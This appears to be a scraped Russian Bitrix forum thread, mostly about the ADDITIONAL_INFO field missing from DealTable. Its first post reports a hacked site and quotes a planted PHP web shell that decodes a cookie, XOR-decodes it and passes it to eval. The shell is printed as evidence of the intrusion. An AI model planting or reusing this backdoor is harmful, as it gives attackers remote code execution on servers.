написал: Добавлен файл /bitrix/tools/putin_huilo.php Сменены пароли у всех пользователей Очищены таблицы: b_iblock b_iblock_element b_iblock_element_property
Вот код из этого файла <?php error_reporting(0);$c=base64_decode($_COOKIE["6a9d4c231d03dbc5454b74fd1c5d15c1"]);$d=(string)NULL;for($i=0;$i<strlen($c);$i++)$d.=chr(ord($c[$i])^42);eval($d); Прилагаю файлы и скриншоты, относящимися к проблеме, которые удалось найти https://disk.yandex.ru/d/oix1yUFjAAh-KQ
Антоний Бондаренко написал: не очень понимаю, зачем? В битриксе заложено, что некоторые поля заказа из БУС при интеграции с crm сохраняются в поле additional_info сделки. Это поле есть в базе, но его нет в методе getMap класса DealTable. Причём здесь модуль sale?)
Вам нужно решение, или констатация факта, что не мапе нет этого поля? если второе, то ой, сорри... Продолжайте жаловаться )))
решение - использовать CCrmDeal::GetList и я это написал в самом первом сообщении. Я нашёл странность и захотел узнать это поле туда просто забыли добавить или есть другая причина (например планируется отказаться от использования этого поля вообще).
Антоний Бондаренко написал: в этом поле хранятся данные заказа с сайта с БУС, которые приходят и потом становятся сделками. Там много важных полей + все поля, которые настраиваются в админки в настройках интеграции с 1С. Таким образом если нужно работать со сделками, которые пришли с сайта, то использовать DealTable для получения данных не получится.
Если данные прилетают с заказа, то копайте в модуле Sale
не очень понимаю, зачем? В битриксе заложено, что некоторые поля заказа из БУС при интеграции с crm сохраняются в поле additional_info сделки. Это поле есть в базе, но его нет в методе getMap класса DealTable. Причём здесь модуль sale?)
Антоний Бондаренко написал: Доброго времени суток. Заметил, что в Bitrix\Crm\DealTable почему-то отсутствует описание поля ADDITIONAL_INFO, хотя оно присутствует в классе CAllCrmDeal и в базе данных. В результате чего, нельзя сделать getList с селектом, в котором есть это поле. Я понимаю, что можно пользоваться CCrmDeal::GetList, вопрос из разряда баг это или фича? И вот если фича, то хотелось бы узнать почему так.
а что у вас в этом поле хранится? У меня это поле пустое. Предположение: Поле осталось для совместимости со старыми версиями Б24, поэтому в описании отсутствует.
в этом поле хранятся данные заказа с сайта с БУС, которые приходят и потом становятся сделками. Там много важных полей + все поля, которые настраиваются в админки в настройках интеграции с 1С. Таким образом если нужно работать со сделками, которые пришли с сайта, то использовать DealTable для получения данных не получится.
Доброго времени суток. Заметил, что в Bitrix\Crm\DealTable почему-то отсутствует описание поля ADDITIONAL_INFO, хотя оно присутствует в классе CAllCrmDeal и в базе данных. В результате чего, нельзя сделать getList с селектом, в котором есть это поле. Я понимаю, что можно пользоваться CCrmDeal::GetList, вопрос из разряда баг это или фича? И вот если фича, то хотелось бы узнать почему так.